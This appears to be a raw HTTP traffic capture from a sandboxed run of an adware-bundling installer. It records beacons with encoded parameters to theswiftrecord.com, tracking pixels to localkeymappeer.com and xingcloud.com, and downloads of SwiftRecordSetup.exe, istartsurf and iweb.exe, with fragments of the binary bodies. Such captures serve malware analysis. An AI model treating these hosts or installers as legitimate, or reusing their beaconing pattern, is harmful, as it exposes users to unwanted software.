GET /ii?alpha=RxYQX2ttPAB2D1BiP3VkRlJDUmtHShx3ZnIlBE4uFUpaGC5SZ3NuXBMQHDtvSF9XXgEeJisfUA8dQwN8R11sWwMrEkxCZBNKBFsoYlVrcDhqSUtONhRCU2A8PHsVGwU3T0pOc2dsZFsYQVcLLydpAWELCkIUf1ggUxlEcgszSnoCWyQQRAVgFEoHXyA7EngzbxsLHws3UxJTdz5nClBCehgSBAkyTShFP1EQAn4bZX0NFAoJR353XylbDkAFeEBCeghIdmgNEGBzKRAFfX9fJmRkYlNIWmgWUFkzbTVlQEQzVxgPDztQZ21wVgcLTwZsXxByU0kTPzkeOVwAIUEiFBYvHER2SgMffWhaFhxreVU/bjcVAAYIKVANQiVrMGhRSDUHHh8cflI7Q3IVT0QNRzoNX1ZWRhk3cyh3DEwYQCVSWwkBRG1BBlMOUhtCD30iADh3ZAEcSAx3XFpTci08cRIBdkFFWhQ/H2oQIwBFXglfMBkBHwoWTWd6S2kEREx1LB4AOUlJdkkMThloJXgrKG9JO2JkcXl5cEZHRwEuDUw/Q18iXVcqNClDKEU5YxwWSBxrRxB2GnQ0AwdNXQJTGhMJFwU1DEg/VAlOe0MUVVc/LVxrMGFsDkRdYGs= HTTP/1.1


User-Agent: NSIS_Inetc (Mozilla)
Host: install.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Sun, 26 Apr 2015 23:55:58 GMT
Content-Length: 84
m8ddiXWRnR NAISkYPU0nYofnWqfyBqEB5LLO9l1j9NDw2LE5RijR4WXHNpnhIAPiRuR73
bXa8o4TBbN1ygg....


POST /if?alpha=RxYQX2slVB1XPQhvP3VkRlJDUmtHShx3ZnIlBE4uFUpaGC5SZ3NuXBMQHDtvSF9XXgEeJisfUA8dQwN8R11sWwMrEkxCZBNKBFsoYlVrcDhqSUtONhRCU2A8PHsVGwU3T0pOc2dsZFsYQVcLLydpAWELCkIUf1ggUxlEcgszSnoKTiR3ChYxSjNYA3pATzptCkJTUl1vR04DLm8nPh8fd0BCUklqDGgWNwRMUQxbOw1UQFxlBT9zBHwTUB1cPxdVOApLW1YNJWAXShhaIDIUZjF3BAwTDDZHRBB8F24rH3gUVxgPDSdSPx1OXBsAUx55BxATDgoVOTpLdhhWFEFwPxo/HUJqSwQHfXETWA5hfFV2NnllSElYYhJQHHw1YCQCY2dRARkLLUs1TjkPVVISWCQcBhULBwQ1PBtwCEVRQywRGHxVDSgKUlUyVRZXBGk2YzhmNVxJTh4vNE0cZz5laHFZJgUSD1B4TCwdLRMbVkxUcw1RUwceR3x/XStNTRAOfUJJaV8XLBJYQWwcSgdQOT8AJm49CHxHUnQEBRF8Nm91ZmMYPzZaHTFPOR1ddioqfU9uXw1zd1AWIitBOT1tBlI/F1MKBl9tUQMffXVaZSldQgYSaCpeGmJbcQhAEBssNGJjZwo= HTTP/1.1


Content-Type: application/x-www-form-urlencoded
User-Agent: NSIS_Inetc (Mozilla)
Host: install.theswiftrecord.com
Content-Length: 78
Connection: Keep-Alive
Cache-Control: no-cache

alpha=RxYQX2s1FCZ9GxkAFTsFYElDTHQ9QhF B0A4UmkmBRYgNTFBO0xFYRAJTDVjR1cYaExMKxMi
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Sun, 26 Apr 2015 23:55:59 GMT
Content-Length: 41
{"status":"OK","url":null,"message":null}..



GET /sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=8592247-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: cdn.mirror.garr.it


HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.0
Content-Type: text/html
Location: hXXp://downloads.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
Content-Length: 160
Accept-Ranges: bytes
Date: Sun, 26 Apr 2015 23:54:55 GMT
X-Varnish: 1562192575 1561478658
Age: 19440
Via: 1.1 varnish
Connection: keep-alive
X-Cache: HIT
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.8.0</ce
nter>..</body>..</html>..HTTP/1.1 302 Moved Temporarily
..Server: nginx/1.8.0..Content-Type: text/html..Location: hXXp://downl
oads.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe..Cont
ent-Length: 160..Accept-Ranges: bytes..Date: Sun, 26 Apr 2015 23:54:55
 GMT..X-Varnish: 1562192575 1561478658..Age: 19440..Via: 1.1 varnish..
Connection: keep-alive..X-Cache: HIT..<html>..<head><ti
tle>302 Found</title></head>..<body bgcolor="white"&
gt;..<center><h1>302 Found</h1></center>..<
hr><center>nginx/1.8.0</center>..</body>..</ht
ml>....



GET /monetization.gif?event=4&ibic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430092564&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430092564 HTTP/1.1
Host: logs.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:56:20 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1389114507"
Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT
Cache-Control: max-age=86400
Content-Length: 35
Content-Type: image/gif
X-HW: 1430092581.dop018.am4.t,1430092580.cds058.am4.c
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Sun, 26 Apr 
2015 23:56:20 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1430092581.dop018.am4.t,1430092580.
cds058.am4.c..GIF89a.............,...........D..;..



GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: downloads.sourceforge.net


HTTP/1.1 302 Found
Server: nginx
Date: Sun, 26 Apr 2015 23:54:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
content-disposition: attachment; filename="vlc-2.0.4-win32.exe"
Set-Cookie: sf_mirror_attempt="vlc:heanet:2.0.4/win32/vlc-2.0.4-win32.exe"; expires=120; Path=/
Location: hXXp://heanet.dl.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
Content-Length: 156
302 Found..The resource was found at hXXp://heanet.dl.sourceforge.net/
project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe; you should be redirected 
automatically.  ..



GET /v4/sof-ient/535559167_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.2102&update4=chptid,smt HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sun, 26 Apr 2015 23:55:40 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.66 ms","message":"store 3 action and 5 upd
ate "}..0......


GET /v4/sof-ient/535559167_198339_B48A115F?action1=install.smt HTTP/1.1


Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sun, 26 Apr 2015 23:55:41 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.58 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sun, 26 Apr 20
15 23:55:41 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.58 ms","message":"store 1 ac
tion and 0 update "}..0..



GET //images/Tokyo/tokyo_default_logo.png HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/premium_downloader/premium_downloader/c68f2d2eb068de4eb4b99d4758c25a2f?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d3ffn9rvm681fx.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: image/png
Content-Length: 3921
Connection: keep-alive
Server: nginx
Date: Sun, 26 Apr 2015 05:01:54 GMT
Last-Modified: Tue, 14 Apr 2015 08:31:54 GMT
ETag: "552cd07a-f51"
Expires: Sun, 26 Apr 2015 05:11:54 GMT
Cache-Control: max-age=600
Accept-Ranges: bytes
Age: 318
X-Cache: Hit from cloudfront
Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)
X-Amz-Cf-Id: St89_gpoYKGIU3nQ7nA4VU3hn9lknmp0-ZrLNji7ug8N2PDhp8KN6w==
.PNG........IHDR...0...0.....W.......sRGB.........bKGD..............pH
Ys.................tIME...../.fCI.....iTXtComment.....Created with GIM
Pd.e.....IDATh..Y{p\.}...w...}K Y..e.......[.6I.a.k.v2..f4N:.p..7&R3..
d\21i......I..0....&...T`..e....%.d.....]...{......a..-&g.7g_........!
..%{..u....9..|...B.\...o.l.............J....z.Q..Y.(J.RZ....h...{....
..s.)..=...Z..DKoooK___.cl........?..b.f...VD".....J...UU5.p8*.E......
....nEQ.PJA..... . ..z.`..-{.....RZI...R..94-c&.c.W_}.......u........7
...........e.Z.3..\WW...{....#I.....t*..G..w..(/.xp...... >........
z...>..D......u....;;;.p-...oFF..;....r.8......`...I.....1......g..
BL...$..?........4;..|..^^.l...1...t:.U.V]...s.r9455.6m..r8.3....={...
..k....9xgg......).`.!;..i..$..>....i....x2.d2.Db.....t..p.eLNBQ..B
!D"...aH..].q....m....F.........KJJ..c.x<..b.......R..2..2..T:....4
.p..L..a.$oZ.JH...b_....war........'O.<|]1v.:p.......~....X,..9.N'(
.`....L..i.0..a.f]...C(.B...n...G.?.@ .@(..a.8q......?x..g.y....O.V.\.
M..8...........y!..c.u.&3.p8.....z...........*.$...Ji.^.B..].}.......=
.....z...y!..C4....... .....d`...E.CQ..x,.z..*..l..A.....  ...!..`..u[
..`..O?........L/4..rD.Q...Au.....L2.._q. a..1..B.d011.......oR.TKOww[
2........BC.._.`.....r..(..y.v]..V`2...i.d2.O...E.4.........#...<..
c.$.Is...m^3...j.v.QRR.S...e.zp.h..-...iH..H.SH...u..R..............R.
.....H$.d2)...|....8d.......x..7.N...H..$Ip8.p8.PU.EEEp..V..*<^/.v.
..n.\...ntvv..@`..X.t&.B(.~?"..R..(.p8......j..........PU........8 .2$
;#YAL.$It...!r.1p....P8.ND"[email protected].*....RJ!Q..I..8AO...Q.t.z..
<<< skipped >>>


GET /youtube_accelerator/wizardtest/SMALLTEST.HTM?random=467862&mode=nolsp HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: test.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Content-Encoding: gzip
Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT
Accept-Ranges: bytes
ETag: "bfefaff515ebc81:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:56:09 GMT
Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF...HTTP/1.1 200 OK..Content-Type: text/h
tml..Content-Encoding: gzip..Last-Modified: Mon, 21 Jul 2008 09:41:32 
GMT..Accept-Ranges: bytes..ETag: "bfefaff515ebc81:0"..Vary: Accept-Enc
oding..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Sun, 26
 Apr 2015 23:56:09 GMT..Content-Length: 167...............`.I.%&/m.{.J
.J..t...`[email protected]#).*..eVe]f.@......{....{....;.N'...?\fd.l..J
...!....?~|.?".......~....O......7.O.............'_>.}. ..>..o.?
...MF.....



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=321582-643164
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 321583
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 21 Apr 2015 16:12:59 GMT
Content-Range: bytes 321582-643164/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ClAJQUp-Ul64vbeHp-d2J5WvFwO0bfaXYm8hnFGKM9anwDi9Obtbog==
..`../r"k>F-O../......I......(..vWPN.. ...J......."..j&.b.n........
.........V...O_.Zj...~4..T...}TMZ.....y.s.i.....G..b......[.x....,3...
.Q....%.'.M.m.}........j..E...........m......>.P....y.x".G.2c....}.
'.Q.....eP../..... h....9.8m(....'}"..(.U.N.....6E.._._&J.rv...iS.....
t...^^!......g..X..$.../...|..l...!.E..Q9..#.$.I...Y..<G...........
._.`TKq`....*...E.R...h............H^A.W.2=....%m..9s...p..WS ...n....
6_..U...d...N........*......aqj.......e......f...J.u.4...3...&j.=~..3.
.E..x.a....X..".G.J.aQSF1..4.b..O...L.....a.[..,............8..!M.....
....#v..$..Gv}h../.6o.x.:/.r..5lF....5W.4..s..\q~.D >{.wJ/..DA S...
.MOb....Y'E.0..\Ah.9.....{.:...-)kj[..q.-....n>.IC..2......m-...*f"
JmmVr....".o..n....\O$..V~p*I...x[&..d{......R0.L.>C.Xn....0..]....
$..L..5=k.q.....A.l..I.'..g.....$.....u{.c......).;Ke\H..?.x...8......
{<.p.....=D.........W.....B.R.p.E....U..HM....#..S.3f<r..1|:...N
"P}O..U... .5.JZ..x..>8..m......H....E...N...Y.._.\..x...S..<..*
`=.@[email protected].......)Y.b.@H/..?..n9b......4....x["..i.wH.....c...iP7k.s.r
.........V:;M..=I.d..........K'[email protected].....
...........S....?_..F...#-Of..`:......&.. E..Rg/..{...E..f.....n...O.5
...'zd..*.T.....A..#!"@.>.......AW...$ra....M....... <O.>l[..
.....n...c.g.).*N..A=..[6q..'..2..Zg..h}........'>...^kGT......,i..
..m|y....I..V...D....#.]............s.k...E.x....Z........J?..{m......
....T.).*.4".....cv._....7S[2O.)<.f&D.`...73t...^{.._k'..{.ref...gS
...=(..Q.4.4F...O....J.t...9t.;..!OH$S..B....[....9....mS....'.^..
<<< skipped >>>


GET /?product=firefox-34.0.5-complete&os=win&lang=en-US HTTP/1.1
Host: download.mozilla.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Range: bytes=900000-1199999
Cookie: optimizelySegments={"245617832":"none","245875585":"direct","245677587":"ff","246048108":"false","869421433":"true"}; optimizelyEndUserId=oeu1401956287616r0.2603029596469415; optimizelyBuckets={}; __utma=150903082.1617578787.1401956289.1401956289.1401956289.1
Connection: keep-alive


HTTP/1.1 302 Found
Server: Apache
X-Backend-Server: bouncer5.webapp.scl3.mozilla.com
Cache-Control: max-age=60
Content-Type: text/html; charset=UTF-8
Date: Sun, 26 Apr 2015 23:54:59 GMT
Location: hXXp://download.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar
Keep-Alive: timeout=3, max=500
Content-Length: 0
Connection: Keep-Alive
X-Cache-Info: cached
HTTP/1.1 302 Found..Server: Apache..X-Backend-Server: bouncer5.webapp.
scl3.mozilla.com..Cache-Control: max-age=60..Content-Type: text/html; 
charset=UTF-8..Date: Sun, 26 Apr 2015 23:54:59 GMT..Location: hXXp://d
ownload.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US
/firefox-34.0.5.complete.mar..Keep-Alive: timeout=3, max=500..Content-
Length: 0..Connection: Keep-Alive..X-Cache-Info: cached..



GET /sd?is=sm HTTP/1.1
Range: bytes=261632-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Mon, 27 Apr 2015 23:54:52 GMT
Date: Sun, 26 Apr 2015 23:54:52 GMT
Content-Range: bytes 261632-523263/523264
Content-Length: 261632
Connection: keep-alive
$P../9.,.....d.z$...TK......?RU..kD.M..n.r..Ol;[...`..{......_.=....5.
.Nc..r...te..C..jI..^.....k...'OM[3.rW.!).7...t...l......`7....=WK{.&l
t;Q....#.r. Juq..z..5....FD..:..)H...'.j...R..B...y.e...{H.:.k&...l.V.
p4....</{[email protected].@.....>B..y....7....Q...=..(.....
.....G..... ....o'...J.E%.K.;......d.....S..w.vJ......:..(^...G....Z.Y
3{s...S..me..L...n...()..=.Y. .0.B.....EA#O.Q...O..%..;0c....?.f.>.
Ry...h.p...<..k..x.'...[9......b...9.q-FA...4.]...SFo..=....S...z..
C/..].b.l..:..2...7_L...b...O....E.7P.tk.57.p.uL.M....q]..aF.i...f.2.z
....c.w#.."d2...*>..z...r......s..<..0...F..b.I.mjD.;.V.v....R..
...@.]c....R..U.df.....|....).>......Q....*....;C_.l.....a...i..Gt.
.g.n../.Q.. 8w....b.a...N}z.-.S-3.Z..u....9*..`.8.1.!2./........o2....
....j.eK..:...^...a......I...~o.i.........r...hi.*m...._......e.Y.aYF.
3c.7....;.p.*g.|O/Z.......b.........I...t..5..".np......?...U........b
X`9.....F..^...~.p5.g..?..j...F);Q..A..S..Dt.........agR.B..l......5.K
...T.....q..1.........r....&....KV.{..)j...p.3.N.~.f....i........e...C
..|.a.WE....KD.,^.hH.].*....8..)..}]y...Z.F .r...{.?*..2..#.M.Q....8#e
..s1....t...&e*..#.d.1.u.....EY.....p.W~I... .#.C.#....m..0i.vV....~..
.lq].>.[.!.....\....X.'.....l..1x...a.D....g..X..#......n...w..Y...
Gya,..v0.nH%.................x..,.`|.X..3.zo..<!9-1....2.[..Q#..K..
iP..k.....}5..1X.p7m$...py........c.b..C...U0.............G....Z>..
.....}.P|k4.].....A#....Z EC.~0.,.....09.j..2.K....g....7{.0..R....i.`
2...U..;z..w....R......w.....^...g.F}.$g.:..H..}.W."..0..N]~>..
<<< skipped >>>


GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=487060-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Connection: Keep-Alive
Cache-Control: no-cache



......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................^.........................................
......................................................................
....i.....G ..>...:...9...8...8...8...9...:...:...:...:...:...:...:
...:...:...:...:...:...:...:...:...:...:...:...:...:...:..i2.........,
.K...S(..O$..N!..N!..N!..N!..N"..M"..M"..M"..M"..M"..M"..M"..M"..M"..M
"..M"..M"..M"..M"..M"..M"..N"..M"..M"..O$..S)..O"........1.lA.........
......................................................................
....................................s.#......-.j@.....................
......................................................................
........................z........ .h:.................................
......................................................................
............s........ .i7.............................................
......................................................................
r........ .l6.........................................................
..........................................................q........ .n
5.....................................................................
..............................................n........ .o1.......
<<< skipped >>>


GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:55:49 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1430049503"
Last-Modified: Sun, 26 Apr 2015 11:58:23 GMT
Cache-Control: max-age=170
Content-Length: 250000
Content-Range: bytes 0-249999/12416830
Content-Type: application/x-msdownload
X-HW: 1430092549.dop018.am4.t,1430092549.cds051.am4.c
Content-Disposition: attachment; filename="iweb.exe"
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L......P
.....................n......-A............@..........................`
......./........ ..............................p..........(C..........
......................................................................
...........................text...<........................... .0`.
[email protected]$.......&.............
[email protected]@.bss..................................0..idata.......p.......
[email protected]........... [email protected]...(C.
[email protected]..........................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..WVS.......U..E....t.
..F........T.D..H...H.......M..E..5..D..D$...$...tE..M..E.....SS...E..
.$.D$... uE..M..E......M.WW......M.)..M..NT....NP........E.....}...VT.
.......FP..E........}..VP........U.......FT.............}..........E..
M...$..|sE..E..R...D$..E..D$...$...uE.....<$...sE..E..Q.}.;}...Q...
.~X........F4..$...sE...W..........$.E......E......D$........sE.RR.FX.
.$.D$....sE..5.sE.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$.\
.D....tE...|.......T$...$..QQ.<$...sE.S.M..E..D$...$...uE.PP1..
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=500000-749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



W..D ...F.......}..'_...{...#......%..gV...;:8=.:M...p#R.../.W.y..k...
..F..P.=:.dd?.U.i~......X.'....[.}....sH.G..P#..|...}.N..&.w-...".`.N.
m1..P..c..uJ...'P.,.../...V...w.'7..a.Vh.{......8..(.e&Q|.....h......X
).<......0(.k`.C.......v/0...rIo.#.-.Z...W^..Ks......acZ(,$...["[..
.........f..Edn~....I..&.%a.vx...U(..So...<UP.c..@...)$........h.O.
Y.....^t`xJ.w..l..#....f.q$c.=..*....>Z 2......H$...=H}<!.f.|./.
......2.-.v..QR...?..._.T....h......M...^?.._Tj...(....... ......&....
zai$.].....[{.T...9*$k....EJ....?.i.E....1..?.....].Q.7..e....f.......
.d.......~/.h........)..H...(......{..\.^_u.....9wz....?..{.V...q.../R
....L.....V?.u.q.$?.xM....r,q.K?......[..Jc..u.rM....M..k...D).hv..4o.
....8pe....... ..._bb.......V4G4.8.....CC...._......mD..../`......!..8
....a.q..D.k....a........[......Ya...2(7..:VG..F..L...9.. ..Y.,.[..|.L
..bQw..t..;.f..~.j\Y.V.q.B..Y8.(XNb.n....&.p.Y:v.T..Ma.q.iX5.......r..
$..h...{........G.#E._q.=.2.W6....].@:i.\H.g..H.w~.RqzY..L)..t...H;...
.....jQ 0......... .F...`.....WJ....[....D|i......F=......A...........
p44..M...G....1B.)...*.........oi...2..!..Z..=<..........s...[..g..
.`.G...bk..wx}.!....Ko.*e.....h.....c .{)..M.p2...."..n..u...../......
...Ha.&./Q&....S..b(...WY.;.......h?>....L.1...%E...r9M.4.g..9.....
,.... pV.....*G;X3v..Bz..P...;9..x._.a..."...n#Qbf...o.\....9..6..h..x
.!.No.JxV..BS..C.......#V..T.7.... '.t(..52/Q.gp.oo3v%n...d.E8i...].3.
..4.9.4j....E.Nt......j...M..i.H..k..MT$..3....-/\F..~.Y..K\..Z...-.{s
.ELvY..-}$j9.Q..j`...`.;...H.........B..K.I97....|.b..I.c.u..e.3.&
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=1000000-1249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:55:50 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1430049503"
Last-Modified: Sun, 26 Apr 2015 11:58:23 GMT
Cache-Control: max-age=169
Content-Length: 250000
Content-Range: bytes 1250000-1499999/12416830
Content-Type: application/x-msdownload
X-HW: 1430092550.dop018.am4.t,1430092550.cds051.am4.c
Content-Disposition: attachment; filename="iweb.exe"
......z_5..X.!..=.:9.R.g....R..-eJ...LRA.b..#....D...<..T...S..i..5
..w.......~K....r...4. ..*.<.h*....b.5..$5.....v%[....0.a... .m".[.
...,..b..s.X{....w...:...C..7N...&3....7.Y .x..........GWW.|If.=72...Z
7X..R..;......S.g.uz,W.E..R.Y........e....#z.S...l5.Rf....n.Z.H..Xw.t.
...M,  ... 6..y.0(T...x..!M.......y.....m.di...l.;< ...z.:..D....*.
....!..R...{Oo/........H.....G.e.V...F.....b5....}.:...=....~...K4P...
)`.....@..*~...Q\.....T....&.c..-O..coe.._.2.{...._.!>......w....S.
.....:.yw.....6.j..{...x[...x..Q...JQ{T.......\...lr@;...pJ..<..../
....Q#..s.W.qv.w.;oI.p.....e...N......x.?...;...z..f.c"~.,T.,U.xQ..=q.
z.</.$.h.....{.e..8.~QS8.n%..K.*0......4....v.1...d...._.<k.%~..
.6.u.mH........."..7.2:....%n}..G.c.E..r*..F......o......JC2.&p.'#....
.,..[.~...2.....&..C....F....z.a>.^[....n...E0.?.07........i,.K.f..
b.x .8|..LPHQ..v......>&h`....p]ZQq...k^...f...PuhQa.,<r.l.:....
..A.....|..,...l..7A.Gv6]...`q...^~O..`......Y|X...*......v_.....:....
....5T.La2=..d;....7.E.f......PUJ..".....|;.$}.I.....Z.... q....d.l./.
.....o...yc.H~/.J..........7..Z.GA....mK.....[K.5.3eN/...... .....<
..|j.....y...W.d.H...2.y..*..uf...Mm...2...5... .....a.....D*y.s....?u
.?<.2...D.-e.aO..-[\.....(/........r..G...8.j.e...Q.#...M.... .. ..
....&_....w-*||r,..........R..!....N..z....D|..^.W.SOW,....9;.$....RS.
7.xY..V...T.3....M......({[email protected].|[Q...$.\..BQ.
.. c....s..v.!.ug.;.w%..%.0.v...V.Z.....S..?..2..lW(.8P.......$..g..e.
2. ./5..d.2D.z.g.|/l.....c..W..D..[.jf.......tw........NhN=u..P.N.
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=1500000-1749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=2000000-2249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=2500000-2749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=3000000-3249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=3500000-3749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=4000000-4249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=4250000-4499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=4500000-4749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=5500000-5749999


..?.J.0..........n.?\N...........Y....X...z.DQ~#r....V....w.0I.|i..=_a
